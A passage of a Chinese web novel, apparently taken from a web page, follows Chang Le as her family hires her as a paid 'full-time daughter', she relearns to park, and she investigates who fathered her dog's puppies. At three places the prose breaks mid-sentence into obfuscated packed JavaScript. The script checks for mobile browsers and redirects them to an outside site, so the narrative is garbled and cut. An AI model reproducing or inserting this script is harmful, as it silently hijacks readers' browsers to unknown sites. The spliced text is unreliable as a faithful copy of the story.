常乐满腹狐疑地出了门。 在菜鸟驿站,报出手机尾号后,店员找出两件包裹交给常乐,见她扭头就要走,急忙喊住她:“等一下,还有几件。” 常乐更疑惑了。这两个黑色包裹拿在手里软趴趴的,不像是装着食物,倒像是衣服。 没过多久,店员又从仓库里抱出一摞包裹,统统塞进常乐怀里。 “总共八件,都在这里了。” 全是衣服。常乐无语了。 这败家老爷们儿,又去寿衣店进货了?他到底要出几次殡啊? 回到家,常乐把包裹往茶几上一堆,起身拍了拍羽绒服上的灰。 不等她拿来剪刀,姥爷已经把包裹搬进了自己的卧室,全然没有要打开的意思。 “哎,不拆开吗?”常乐还想看看寿衣店又出了什么冬季新款呢。 “不急,明天再看。” 常乐:…… 那你着急忙慌地让我取回来干嘛? 还说搁久了容易坏?哦,搁人家快递站会坏,搁你衣柜里就不会?你柜子里有防腐剂啊? “姥爷,”常乐斜倚在卧室门上,一副看透一切的表情,“你不是又要拍穿搭视频了?” 姥爷瞥她一眼,没吭声。 常乐挑挑眉,“哎唷,别藏了,我都刷到你的抖音了。不错嘛,最近挺火的。” 姥爷哼了一声,极力掩饰住得意的神色,故作淡然地说:“也没什么,随便拍的,记录一下日常而已。” “这次打算拍什么主题?又是丧葬风穿搭?” 姥爷摆摆手,“这次我走的是、是……”他噎了一下,掏出手机查看,字正腔圆地说,“老、钱、风。” 常乐扑哧一笑,催他:“赶紧穿上给我看看。” “不行,我要先自己试试。” “哦唷还不好意思了,给我看看嘛。” “明天再看。”姥爷把她推了出去,“洗手吃饭!” 刚摆好筷子,常建民就到家了。 他一边换鞋一边问常乐:“你妈呢?” “在照看小狗呢。”常乐指了指次卧。 “我去看看。” 常建民换好鞋,直奔次卧,常乐也跟了进去。 坐月子期间,宝妈和奶狗都不能受冻,所以取暖器一直没关,房间里比客厅要暖和多了。 常建民一进屋,舒服地喟叹一声,然后蹲在床边,查看母子五狗的状态。 胜宝休息了一天,精神明显好了很多,而几只小奶狗依旧紧闭着眼,肉乎乎的小身体扭来扭去。 “呀,都是黑白花,长得一模一样。”他欣赏完小奶狗的颜值,转头问常乐,“几公几母啊?” 常乐在白天已经检查过了,“两公两母。” 常建民:“谁是老大?” 常乐一愣,看向林文娟。林文娟也是一脸呆滞。 气氛有一丝尴尬。 常建民哭笑不得:“你们两个大聪明,连标记都没做吗?” 常乐挠挠脑袋,辩解道:“哎呀,分这么清楚干嘛,老大是要继承皇位吗?还是老四要学孔融让梨?” 常建民:“主要是怕弄混了。你想啊,万一你要给他们喂奶,一只喂了四遍,其它三只都饿着?” 常乐和林文娟都笑了。 常乐找出马克笔,揪出最胖的那只小奶狗,在它后颈的白色部分写上“1”,然后依次排序,在其它小狗身上分别写上“2”“3”“4”。 “先这样吧,等长大点,就买四只不同颜色的项圈。” -- 今天的晚餐格外丰盛。 桌上摆放着清蒸鳜鱼、青椒炒牛肉、腊肉炒菜薹、珍珠肉丸、板栗烧排骨、泥蒿炒腊肉。 头顶洒下一片暖黄色的光,仿佛加了一层暖色调滤镜,每道菜看上去都色泽诱人,饭张力拉满。 每个人面前还有一碗香喷喷的土鸡汤。 “哇!”常乐忍不住惊叹,“今天是什么日子?提前过年了?” 姥爷提议道:“来,咱们一起碰一个。” 五只玻璃杯碰到一起,伴随着清脆的撞击声,淡白色的米酒在杯中震荡。 等大家放下杯子,姥爷清了清嗓,郑重其事地说:“今天确实是个特殊的日子,咱们家有两大喜事。第一件呢,就是胜宝顺利生产,母子平安,咱们家又添四员猛将。以后出门遛狗,咱们都不用抢,一人一只,那叫一个威风凛凛、气场十足,谁见了都要夸一句人丁兴旺,儿孙满堂……” 姥爷越说越起劲,常乐笑得合不拢嘴。 那四只嗷嗷待哺小奶狗,眼睛都没睁开,就担负起了振兴家族、光耀门楣的使命。 “好了好了。”林文娟打断姥爷的慷慨陈词,冲他使了个眼色,“说第二件吧。” 姥爷只好匆匆收了个尾:“……全家一起努力,迈上新台阶,开创新局面!” “好!”常乐积极捧场,一边叫好一边拍巴掌。 拍完后,她立刻拿起筷子,眼里充满期待,“是不是可以开动了?” 林文娟摁下她的筷子,“再等一会儿。” 姥爷调整了一下坐姿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585072|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再次开口:“第二件事呢,就是——我们打算正式聘请常乐同志担任全职女儿一职。聘任的细则呢,由林文娟同志来详细讲解。大家鼓掌欢迎!” 桌上响起热烈的掌声。 常乐听得一头雾水,也跟着拍了几下。 怎么扯到她头上了?什么“全职女儿”?还有兼职的吗? 掌声渐渐平息。 林文娟面带微笑,从怀里掏出一张红色硬壳证书,双手递给常乐。 “这是你的聘书。” 常乐稀里糊涂地接过来。 证书上印着“聘任证书”四个烫金大字,打开,里面夹着一张高光铜版纸,印着两行正楷字—— 兹聘请常乐女士担任常家全职女儿一职,聘期一年。 特颁此证。 右下角还盖了林文娟和常建民的私人印章,落款日期是今天。 常乐愣愣地看着证书,又抬起头,一脸困惑地看着林文娟。 “什么意思啊?”她完全糊涂了。 林文娟注视着她,说:“昨天晚上你说的那些话,我想了很久,觉得挺有道理的。你们现在不比我们那时候,一毕业就可以分配工作,干个几年还能分房。你们面临的职场环境要恶劣得多,每天要上更久的班,干更多的活,面对更激烈的竞争,承受更多的压力。你不想上班,也是情有可原。” 常乐鼻头一酸,低下头没吭声,等着她继续说下去。 林文娟叹了口气:“不想上就不上吧,你就在家里陪着我们,也挺好的。” 常乐蓦地抬起头,“真的吗?” 林文娟点点头,“家里不缺你那点工资。我跟你姥姥姥爷合计了一下,我们都有退休金,你爸也有工资,每个月除去买菜、买药、水电之类的基本开销,还能剩不少。” 常乐忍不住问:“有多少啊?” 一提到钱,她总是格外敏感。 林文娟噎了一下,“……这个你别管,反正,足够养活我们一家五口了。” 常建民像个捧哏似的补了一句:“以及五条狗。” 林文娟瞥了他一眼,继续说:“你可以不上班,但是,长期呆在家里什么都不干,人会越来越颓废、自闭、没有精气神儿。九栋那个王老师家的儿子就是这样,在家里蹲久了,整个人死气沉沉的。” 常乐见过那个男孩。有次,小区组织做核.酸,他排在她前面,戴着厚厚的眼镜,头发油得都贴在头皮上了,身上散发出一股奇怪的馊味。 常乐嫌弃地皱皱鼻子,仿佛还能闻到那股味道。 “我肯定不会像他那样。” 林文娟:“我也不希望你变成这样,所以得给你找点事干。人不能老闲着,闲久了会废的。” “啊?”常乐莫名紧张起来,“要我干什么啊?” 林文娟不紧不慢地说:“首先呢,姥姥姥爷年纪大了,需要人照顾,而我跟你爸白天都不在家。我们想着,与其雇个保姆,不如直接雇你来照顾他们。平时帮他们做做家务,陪姥姥去买菜,帮姥爷拍拍视频。要是有个头疼脑热的,就及时送医院。还有,胜宝现在还很虚弱,也需要你的照顾。主要工作内容就是这些。” 听上去还算轻松,她应该能胜任。常乐心里的石头落了下来。 紧接着,她问出了她最关心的问题:“那我的薪资是……” 林文娟:“每个月两千。” 常乐心里一凉。 这点工资,狗都不—— 林文娟解释道:“这只是底薪,每个月还会根据你的工作量、工作难度和完成度,给你发放绩效,上不封顶。” 常建民补充道:“不止这些,如果我们有其他活儿需要你干,也会额外给你发零花钱的。” 常乐:干!狗不干她干! 在家吃住都免费,两千的底薪足够花了,更不用说还有绩效和零花钱。 给父母打工不丢人,照顾老人更是她义不容辞的责任。这不是啃老,是给家人们提供情绪价值。 她的工作很有意义。 心里已经迫不及待地答应了,面上还是要表现得矜持一点。 常乐合上证书,淡淡地说:“我考虑一下吧。” 10. 10 桌上几个人你看看我,我看看你。 除了姥爷,他又在低头玩手机,还戴上了老花镜。 五秒钟后—— 林文娟率先开口:“考虑好了吗?” 常乐果断回答:“我干。” 林文娟眉头一松,又听见她说:“不过,我有个条件。” “你说。” “我的任期是一年吧?这一年,我待在家里,你们不能嫌弃抱怨,对我横挑鼻子竖挑眼,不能阴阳怪气、指桑骂槐,说什么‘别人都有正经工作,就你是个无业游民’这种话,用眼神暗示,或者背后蛐蛐都不行。” 林文娟和常建民面面相觑。 “我们什么时候说过这种话?”林文娟拍桌子喊冤,“你有被害妄想症吧?” 常乐给她打预防针:“现在没有,不代表以后不会。” 她很清楚远香近臭的道理,也知道家人的忍耐和包容都是有限度的。 她有个大学室友,毕业后一直在家里考公,一开始,家人还全力支持。随着她一次次落榜,家人的耐心耗尽,每天不是冷眼相对,就是冷嘲热讽。 她终于受不了,从家里搬了出来,在学校外面租房子复习。虽然现在还是没有上岸,但她与家人的关系缓和了不少。 “行吧,我向你保证,肯定不这样。”林文娟无奈地说。 其他人也点头附和。 “那就这么说定了,从明天起,我正式入职。”常乐挺直腰杆,郑重宣布,“从明天起,我将正式成为一名光荣的全职女儿,陪伴父母,照顾老人,尽我所能,让我们家更加和谐美满!” 大家都笑着鼓掌,一时间,空气中充满了快活的气息。 常乐收起证书,拿起筷子准备开动。 “等等,”林文娟再次开口,“我们也有一些条件。” 常乐的筷子一顿,停在清蒸鳜鱼上方。 “……你说。” 林文娟收敛笑意,一本正经地说:“既然你要长期住在家里,就得遵守家里的规矩,以前上班养成的坏习惯得改。首先,三餐要按时吃,少点外卖,尤其是要少喝奶茶。你数数,你这几天点了几杯奶茶?” 常乐回想片刻,“……也就两杯啊!” “你前天才回来的!一天一杯,还好意思说?”林文娟拧眉瞪眼,“总之,家里不能再出现奶茶这种脏东西!” “不是……”常乐有点糊涂了,“这跟我的工作有什么关系吗?” “你在家里上班,家就是你的公司。公司员工行为规范第一条,禁止喝奶茶。明白吗?” “……知道了。”常乐闷闷不乐地说。 林文娟瞥了一眼常建民。 常建民立刻会意,接话道:“其次,要早睡早起,不能熬夜。我看到你经常后半夜发朋友圈,你是耗子精啊?大晚上不睡觉要干嘛?” 常乐哭笑不得:“哎呀你不懂,那是发给老板看的。有的老板就喜欢员工这种死不要命的加班精神。” 常建民:“现在,我们作为你的新任老板,坚决抵制这种谄媚作风。每天晚上十点必须上床,能做到吗?” 常乐答应得很爽快:“可以!” 上床又不等于睡觉,在被窝里照样能玩手机,还更爽。 常建民说完,姥姥接话了:“还有啊,你得多出去走走。你看你,都在家里窝了一天了。” 常乐替自己鸣不平:“我这不是有重任在身嘛。” 姥姥一脸严肃道:“那也不行。再忙再累,也要出门透透气,在家里待久了,会憋出毛病的。” 常乐叹了口气,“行吧,以后天上下刀子,我也要出门。” 轮到姥爷了,四个人都将目光转向他。 姥爷仍低着头,一动不动,沉浸在手机的世界里不可自拔。 姥姥在桌下踹了他一脚。 他这才回过神来,抬起头,摘下老花眼镜,“哦哦,轮到我了是吧?行,我提一个吧。” 沉吟片刻,他说:“少玩手机。” 常乐:……严以律人宽以待己,是吧? “行吧,大家提的建议我都虚心接受——” 林文娟打断她:“这不是建议,是公司的规章制度,你作为唯一的员工,必须严格遵守。” 常乐深吸一口气,保持微笑道:“好吧,从明天开始,我要做一个健康自律的员工。但是今天,此时此刻,能不能让我放纵一下?我都快饿晕了!” “吃吃吃!”姥姥突然反应过来,赶紧招呼大家,“都等什么呢?菜都凉了。” 大家纷纷拿起筷子。常乐夹起一块鳜鱼肉,正要往嘴里塞,突然,一阵敲门声响起。 她急忙起身,跑去开门。 很快,她就回来了,手里还提着外卖。遮遮掩掩的动作,贴墙走路的姿势,透着满满的心虚。 林文娟脸一沉,正要发难,常乐抢先开口:“是吃饭前点的!” 她还举手发誓:“从明天起,再也不喝了!” 林文娟鼻孔重重哼气,撇过头,眼不见为净。 “算了,今晚就让你最后放纵一次吧。” -- 奶茶一杯,快乐起飞。 吃过晚饭,常乐趴在床上,手里捧着温热的芋泥椰椰奶茶,嘴里嚼着芋圆和啵啵,心情很愉悦。 胜宝和小奶狗已经被她转移到了墙角的狗窝里,取暖器开最小档,给他们提供二十四小时不间断的温暖服务。 床单被罩都换了。她在新铺的床上打了个滚,虽然床上还残留着“南瓜糊”的味道,勾起了她不太美妙的回忆。 但是,一想到从明天开始,她就拥有了一份神仙工作,而且不用担心被裁、被克扣工资、被傻叉领导PUA、被弱智同事气到吐血…… 她就情不自禁地哼起了抖音神曲。 今晚,什么都无法破坏她的好心情。 常乐喝完奶茶,再次翻开大红聘书,逐字逐句研究起里面的内容。 “兹聘请”,哟,小词儿用得还挺正式。 “全职女儿”,她懂,主打的是一个陪伴。 虽然妈妈给她指定了具体的工作,但那些都是小case。 姥姥把家里打理得井井有条,姥爷也有自己的生活节奏,她顶多就是帮帮忙、跑跑腿、打个下手,轻轻松松。 钱多、事少、离家近,除了第一条,其它的都满足。 这跟提前退休有什么区别? 十点钟,常乐洗完澡钻进被子里,又想,新公司的员工行为规范,也没有那么难遵守嘛。 不吃外卖、不熬夜、多出去走走,以及,少玩手机。 刚解锁的手机屏幕立马摁熄了。 她要用实际行动向几位老板表示,她是值得信赖的员工。他们聘请她,绝对是英明睿智的决定。 -- 不知睡了多久,常乐迷迷糊糊中感觉有人在推搡她,力道不大,但锲而不舍。 还伴随着呓语般的呼唤:“醒醒,起来了,醒醒……” 常乐眼睛眯开一条缝,看到姥姥的脸凑的很近,额头上的皱纹清晰可数。 见她睁眼了,姥姥加大力道,持续摇晃着她的胳膊。 “醒了?跟我去买菜。” “去这么早啊啊啊——”常乐打了个大大的哈欠,才把话说完,“干嘛啊?” 菜市场明明下午六点才关门,可姥姥总喜欢早上六点就去。 八点不行吗?十点不行吗?去晚了猪肉会长脚跑掉吗?还是第一波冲进去能抢到一条最吉利的鱼? 姥姥拍拍她的肩,说:“咱们先去做电疗,你再做六次可以领一提纸巾。” 原来是这个目的。 “我不去。”常乐翻了个身,不想搭理她。 这老太太该不会是理疗店的托儿吧?人家店员都没她这么积极。 姥姥催了半天,见她一动不动,气咻咻地隔着被子拍打她,还吓唬道:“第一天上班就消极怠工,我跟你妈告状去。” 常乐什么都没听到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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所幸,车速不快,刹车及时,才没有酿成大祸。 俩小孩跟没事儿人一样,打打闹闹地跑开了,林文娟却留下了一身冷汗,以及永久的心理阴影。 她每每跟常乐提到这事,总要加上一句:“你知道那一刻我看到了什么吗?那个小孩变成了你的样子!跟你小时候一模一样!如果我没有及时刹住,撞到的可能就是你!” 常乐安慰她:“怎么可能?你肯定是心理压力太大,出现幻觉了。” 生活中哪有那么多离奇的事,无非是人在极限状态下,看见了内心最深的恐惧。 这件事后,林文娟再也不敢开车了。常乐很替她惋惜,她可是家里最早拿到驾照的人呢。 常乐坐上车,系好安全带,林文娟坐在副驾,转头打量着她,表情有点嫌弃。 “你该不会没洗脸吧?”她指了指自己的眼角,“这边都没擦干净。” 常乐搓了搓眼角,给自己找补:“哎唷,十分钟怎么够嘛。我坐在车里又没人看见,怕什么?” “好歹也得梳个头吧?一个大姑娘,顶个鸡窝头出门,啧啧……” 常乐用手指捋了捋后脑勺的头发,捋到一半就卡住了,用力、往下,扯得头皮疼,只好作罢。 “我自己舒服就行,你别管了。” 常乐打开手机导航,问林文娟:“去哪个学校?” “东山区老年大学,在安平路。” 常乐把手机卡在支架上,又问:“你们老年大学怎么周末还要上课?学习压力这么大吗?” “这不快过年了嘛,学校要举办新年晚会,我参加了三个节目,周末得去排练。”林文娟叹了口气,“民族舞、二胡、大合唱,唉……整天忙得连轴转。” 常乐斜乜着她。 看似抱怨,实为炫耀,林女士掌握了凡尔赛的精髓。 但是,运筹帷幄如她,在选择常乐做司机这件事上,还是失策了。 常乐光是把车挪出停车位,就花了二十分钟。 围观的人越来越多,有的在指挥,有的在录视频,还有的在充当气氛组,给她加油打气。 直到一位晨练归来的老大爷实在看不下去了,敲敲主驾的车窗,对常乐勾勾手。 “你下来,我来开。” 11. 11 霸气大爷只花了半分钟,就将小别克挪了出来。 围观人群散开了。 常乐顶着鸡窝头,满脸堆笑,向他道谢。 大爷一脸冷酷,沉声道:“小姑娘,无证驾驶是要被拘留的。” 常乐脸上的笑容僵住了。 她从羽绒服口袋里掏出驾照,双手递上,客客气气地说:“大爷,我有证。大四那年考的,一直没机会开,有点生疏了。” 大爷接过驾照,眯着眼看了半天,才把驾照还给常乐。 他一脸狐疑地问:“你的驾照是不是买的?” 常乐:“???当然不是!” “那……是办的假证?” 常乐气得跳脚:“这是我练了两个月、被教练骂哭五次、用完了两支防晒霜、还晒黑了八个度才考来的!” 大爷连连叹气,又摇摇头,遗憾地说:“现在的驾考越来越水了。” 常乐:“……” 再次坐上车,常乐顺利启动车辆,以步行的速度缓缓蠕动。 终于出小区大门了,小车停在路口,等待时机汇入车流。 林文娟一脸紧张,双手攥住右上角的拉手,试探地问:“你……驾校学的东西都还记得吧?” 常乐回忆片刻,“记得。红灯停,绿灯行,黄灯等一等。” “……就剩这些了?”林文娟手忙脚乱地解开安全带,“要不我还是打车走吧。” “哎哎,别啊。”常乐急忙阻止她,“刚刚那是特殊情况,前后车挨得太近了。我还是有实力的,相信我。” 林文娟迟疑一下,重新系上安全带,叮嘱道:“不能超过六十码。” 事实证明,林文娟还是高估了常乐。 小别克以二十码的龟速前进,窗外的喇叭声此起彼伏,疾驰而过的电瓶车都向她们投来鄙夷的目光。 八点十分,小车终于抵达安平路,慢悠悠地停在老年大学门口。 林文娟迫不及待解开安全带,正要下车,又被常乐喊住了:“妈,你几点放学?我来接你。” 林文娟尬笑,“不用啦,坐公交也挺方便的。” “别啊,有车干嘛不用?”常乐自信地拍拍胸脯,“你放心,我已经找到感觉了。” 林文娟内心天人交战。 不让她接吧,怕打击孩子的积极性;让她接吧,十公里的路她能开半小时。 “……行吧,我十一点半放学。”她咬咬牙,决定再冒一次险。 “好嘞。” 车门关上了,车窗开还开着。常乐在导航路线时,听到林文娟在跟人打招呼:“钟老师,早啊!你也迟到啦?” 常乐转过头,只看见一双长腿,穿着深色西装裤,手上提着黑色琴匣。 伴随着一阵爽朗的笑声,一道男声响起:“哈哈哈,我故意来迟十分钟,就想看看同学们自不自觉。” 常乐:“呃……” 好熟悉的台词,以前上学时没少听。 半个小时后,常乐顺利返航。 这个时间点,小区里更热闹了,买菜的、过早的、遛狗的、带娃的,悠闲地走在路上,让她心理压力陡增。 人生没有那么多观众,但在这个小区,在这个无聊的周六早晨,一个笨手笨脚的司机足以成为所有人的焦点。 或是笑点。 常乐沿着车道一直往前开,兜兜转转,走走停停,终于找到一处僻静的地方。 偶有几个人影匆匆而过,估计是周六还得上班的苦命打工人。 她很快在路边找到一处空位。前面停了辆小海豚,后面停了辆大众,留给她的空间很宽裕。 常乐深吸一口气,回忆侧方停车的步骤,向右打方向盘。 然后倒车。 倒车。 倒。 倒上了人行道。 她赶紧换档往前,回到起始位置。 左右后视镜各瞟一眼,希望刚刚那一幕没被人看见。 不巧,左后视镜里出现了个高高的人影,就在车尾不远处。 关键是,他还不走,站在路中间不知要干嘛。 常乐咬咬牙,再次向右打满方向盘,一脚油门下去, 诶,车直奔着右前方去了。 她赶紧刹停。 忘记换挡了,真是丢脸。 更丢脸的是,人影朝她走了过来,左手端着一碗热干面,小拇指还勾着一杯豆浆。 易诚弯下腰,敲了敲车窗。 他今天没穿居家服,上身是黑色冲锋衣,下身深蓝色牛仔裤,收拾得像模像样的。 常乐硬着头皮降下车窗,扬起脸,冲他摆出职业微笑。 “早啊!今天没去充电啊?” 易诚蹙了下眉,似乎没听懂。 常乐举起两根食指,动了动。 “哦。”易诚反应过来,“已经做完了,还看到你姥姥了。她好像对那款按摩仪很感兴趣,你回去劝劝她。” “嗯,谢谢啦。”常乐冲他摆摆手,“没事儿的话,你就先走吧。” 易诚直起上身,迟疑片刻,又弯下腰,手指向车前方。 “你起步的位置不对,要再往前开一点,跟前车平行。” 常乐“哦”了一声,重新打正方向盘,缓缓往前开,后视镜与旁边的小海豚对齐,才停下。 易诚也跟着车走。 “方向盘往右打满。” 常乐依言打满方向盘,换档,往后倒车。车的右屁股刚进车位,易诚就喊道:“停!现在方向盘摆正。” 摆正后又往后倒了一小段,易诚拍拍车顶,示意她停下。 “现在,方向盘往左打满,倒、倒、倒。” 跟随着他的指令,小车缓缓往后划出一道弧线。 最后一步,就是把车挪正,前后尽量多留点空间,以免下次又出不来。 操作完成,常乐长长地舒了口气。 她一身轻松地下了车,对易诚说:“谢谢了,热心市民易先生。” 易诚端起热干面,边吃边说:“也没有多热心,你后面那辆车是我的。” 常乐笑容一僵。 哦,原来是爱车心切才上来帮忙啊。 易诚继续说:“我能不能问你个问题?” 常乐直觉他没好话,于是抢先回答:“我有证!” 易诚挑挑眉,露出狐疑的神色,跟那个霸气大爷一模一样。 半晌,他点点头,赐她四字箴言: “菜就多练。” 常乐:“……” 她又钻进了车里。 易诚好奇地问:“你干嘛?不是都停好了吗?” 常乐往左打方向盘,说:“你不是让我多练练嘛?” 易诚吃面的动作一顿,飞速收起面碗,一边后退一边大喊:“你等会儿!等会儿啊!” 后视镜里,后面那辆大众迅速出库、掉头,一溜烟儿地跑了。 常乐:“……” 她记住了,以后只停这辆车前面,屁股紧挨着脸,让他和他的车,都插翅难逃。 经过一上午坚持不懈的练习,常乐的停车技术已经有了显著提升,开车上路也不再提心吊胆。 顺利抵达老年大学,接到了林文娟,她自信爆棚:“妈,我给你表演个倒车入库。” 林文娟闭着眼,揉了揉太阳穴。 “先回去吧,吃完饭我得抓紧时间睡会儿,排了一上午,又是唱歌又是跳舞又是拉二胡,我现在脑瓜子嗡嗡的。” “好嘞。”常乐松手刹,轻踩油门起步,小车平稳上路。 车速显示四十码,林文娟有些惊奇:“噫,熟练了不少嘛。” “那是。”常乐得意地说,“我为了完成你交代的任务,可是勤学苦练了好久呢。不过,话又说回来……”她话锋一转,露出谄媚的微笑,“妈,送你上学的活儿该怎么计费啊?按天还是按趟?” 林文娟斜瞟着她。 真是财迷啊,时刻不忘跟她算账。 “按趟吧,我平时打网约车也就二十块钱。” “那我收你三十吧。”常乐笑嘻嘻地说,“我服务质量高,算专车。” 林文娟:“……” 常乐又问:“你下午还出门吗?” 林文娟:“嗯,两点半要去另一所老年大学排练。” 常乐忽然想到一件事:“该不会三所学校都要办新年晚会吧?” “当然啦。” “你都参 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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【乐,看到你发的朋友圈了,小狗好可爱。】 【是边牧吗?你要自己养还是送人?】 【我女儿一直想养狗,我能跟你买一条吗?】 常乐想了想,回复道:【可以啊,我给你留一条,不要钱。】 珍姐很快回复:【那怎么行?如果是边牧的话还挺贵的,你就按市场价报。】 常乐苦笑:【问题是,孩子爹还不知道是什么狗呢,小狗大概率是串串。】 珍姐提议:【要不你拍几张小狗的照片,问问网友?或者去问AI,说不定能查到狗爸的信息。】 常乐陷入了沉思。 其实,在给胜宝坐月子的第一天,她就给小奶狗拍了几张正面照,在小红薯上发了帖。 网友的回答众说纷纭,没一个准信儿。 还有人站在道德制高点指责她:“小狗健康不就行了吗?为什么要执着于品种呢? 常乐有苦难言。 问问AI,倒是个好主意。 说干就干。她趴在床上,点开近期爆火的一款AI小程序,将手机里存的小奶狗的照片一并上传,然后输入问题: “这些狗是边牧和什么狗生的?” 她觉得自己的问法有点蠢。正琢磨着该怎么准确表达时,AI已经给出了答案: 1、柯基(可能性70%) 2、柴犬(可能性50%) 3、西高地梗(可能性40%) 常乐腾地一下从床上弹起。 她在小区里就没见过西高地。至于柴犬,倒是有三只,都是母的。 答案显而易见。 常乐从床头柜翻出嫌疑犯的照片,挨个检查。 没有柯基。 但她依稀记得,前两天好像见到了一只,主人还大言不惭地说,狗狗的品相这么好,绝育了多可惜啊。 好哇,仗着品相好就四处播种是吧?当自己是大明星到处睡粉呢? 常乐怒火中烧,决定亲自上门报仇。 12. 12 “咚咚咚——”常乐用力捶门。 屋子里传来狗吠声,紧接着是一道女声:“谁啊?” “我是常乐。翠姨,我找你有事。” “哎唷。”翠姨隔着门跟她喊话,“你怎么大晚上跑来了?我这……现在不太方便开门……” 迟疑的语气,迟迟不开的门,常乐料定翠姨是做贼心虚。 “翠姨,没啥大事,我就跟你说几句话。” “……那行吧。” 门开了,一张疙疙瘩瘩、糊满烂泥的脸探了出来。 “啊!!!” 常乐吓得失声尖叫,狗叫声也陡然变大。 对面的门开了。一个大爷探出脑袋问:“怎么了?家里进贼了?” “没事儿没事儿。”眼看整栋楼都要惊动了,翠姨赶紧把常乐拉进来,关上门,指着自己脸上的烂泥说:“这是海藻面膜,我怕吓到你才不敢开门。” 常乐看着她脸上密密麻麻的棕色小颗粒,密集恐惧症都犯了,感觉头皮又酥又麻,后背刺挠得难受。 “你要说什么啊?”翠姨一边抚平脸上的疙瘩一边问。 常乐不敢看她,视线到处寻找那只狗。 找到了,它躲在沙发侧面,探出脑袋,冲她龇牙咧嘴。 “翠姨,上次你说,你家柯基,叫泡芙是吧?还没绝育?” “对啊。”顶着黏糊糊的面膜,翠姨挑了挑眉,“你都问了两次了,怎么,要给哪家宠物店拉生意啊?” 常乐笑了笑,“我家养了条边牧,前两天刚生了一窝小狗,孩子爹还不知道是谁。我正在到处找呢。” “不是你们给她配的种吗?” “不是,她是意外怀孕的。” 翠姨“哦”了一声,“那你来找我干嘛?” 常乐举起手机给她看,“我在网上鉴定过了,孩子爹很有可能是柯基。” 翠姨依旧搞不清楚状况:“小区里有好几个养柯基的,你找他们去啊。” “他们都绝育了,只有你家泡芙没有。”常乐鼓起勇气,直视她的眼睛,“翠姨,我觉得它应该承担起一个父亲的责任。你作为主人,也应该负连带责任。” 翠姨愣了几秒,忽然大笑起来,脸上的烂泥一坨坨往下掉。 “什么父不父亲的?她是女的!” “……啊?”常乐呆住了。 “哎唷,泡芙是只母狗,根本没有作案工具。”翠姨转身走到沙发侧面,弯腰抱起泡芙,一只手端着她的臀部,给常乐检查,“公的母的,不是一目了然嘛。” 常乐直直地盯着泡芙。 第一秒用来鉴定性别,剩下的五十九秒,用来思考怎么迅速而不失礼貌地消失。 “啊哈哈抱歉抱歉,都是误会……”她满脸尴尬,“我还有事就先走了,你早点休息,拜~~~” 常乐飞奔下楼。 她在黑灯瞎火的小路上来回转悠,甚至脱了鞋,走在一条鹅卵石小道上,试图通过小石头按摩脚底穴位,来刺激大脑思考。 首先,她得确认一件事,AI鉴狗真的准吗? 常乐又掏出手机,一张张点开照片,放大,仔细查看。 虽然小奶狗们还没睁眼,但这大耳朵、小短腿、蜜桃臀,明摆着就是柯基的后代嘛。 都怪她这两天在操心别的事,忽略了这么重要的细节。 其次,会是谁呢? 小区门口中介店的李老板、走路缓慢的杨婆婆、一对带着俩孩子的中年夫妻,还有易诚,养的狗都是柯基,而且是公的。 但他们都说已经给狗做了绝育,易诚还亲自给她检查过。其它三只,虽然没检查,但主人能睁着眼睛说瞎话吗?没必要吧。 再次,会不会没切干净? 这就不好验证了。她总不能挨个上门检查,看看这些狗还有没有小蝌蚪吧。 鹅卵石小道走了一圈,脚底疼得实在受不了,常乐龇牙咧嘴地跳到草地上。 她又想到一件事——狗从怀孕到生产,需要两个月。有没有可能,在两个月前,某条柯基还没有绝育? 一道白光在她脑海中劈开。 常乐火速穿上鞋,大步流星地往前走。 走到一半又突然停住。 她记得,易诚家原本住六楼,小时候,小伙伴们聚会总喜欢去他家,因为易叔叔人随和,从不挂脸,也不会变着法赶客。常乐对他家算是轻车熟路。 几年前,易叔叔生病后行动不便,易诚便把房子卖了,在小区里租了个一楼。 这个新家,常乐从来没去过。 但是挺好找,她在附近转悠了一圈便找到了——原本是阳台的地方对外开了个门,一来方便轮椅进出,二来方便学生上门。 门上还挂了个灯箱,黄底白字,写着“小易轮滑培训班”。 现在已经九点了,里面静悄悄的,学生们多半散了。 常乐深吸一口气,敲了敲门。 门很快开了。易诚出现在门口,见到她,神色诧异。 “找你有点事。”常乐主动开口,眼睛往他身后瞥,“方便进去说吗?” 易诚犹豫片刻,把门敞开,“进来吧,不用换鞋。” 客厅被改造成了一间练习室,灯光明亮,地板干净得反光,墙壁都装上了扶手,高度适用于小孩。 常乐环视一圈,问:“你就在这儿上课?地方够大吗?” 易诚说:“在室内学习基本动作,再去室外实地训练。” 常乐点点头,又问:“那你们住哪儿?” “还有三间房,一间当客厅用,另外两间是我和我爸的卧室。”易诚走到过道上,推开一扇门,“这是客厅。” 常乐正要跟进去,被他轻轻推了出来。 “你先等一下,里面有点乱。”他神色有些尴尬,飞快地关上了门。 没过多久又打开了。 “好了。”他抱着一摞衣物,耳根红红的,“家里没怎么收拾,你别介意。” 也许是听见陌生的脚步声,隔壁房间传来一阵狗吠。 “我去看看,呃……你随便坐。”易诚说完,抱着衣物推开了隔壁的门。 常乐挑了挑眉,走进了这间客厅。 也许是面积小的缘故,里面塞得满满当当的,沙发就占了三分之一的面积,电视柜和茶几都靠墙摆放,沙发旁还有个架子,上面摆着杂物。 沙发收拾得还算干净,上面铺着黑白格的沙发巾。常乐习惯性地走到最左边,往下一坐。 一股失重感瞬间袭来,她的屁股直直地往下坠。 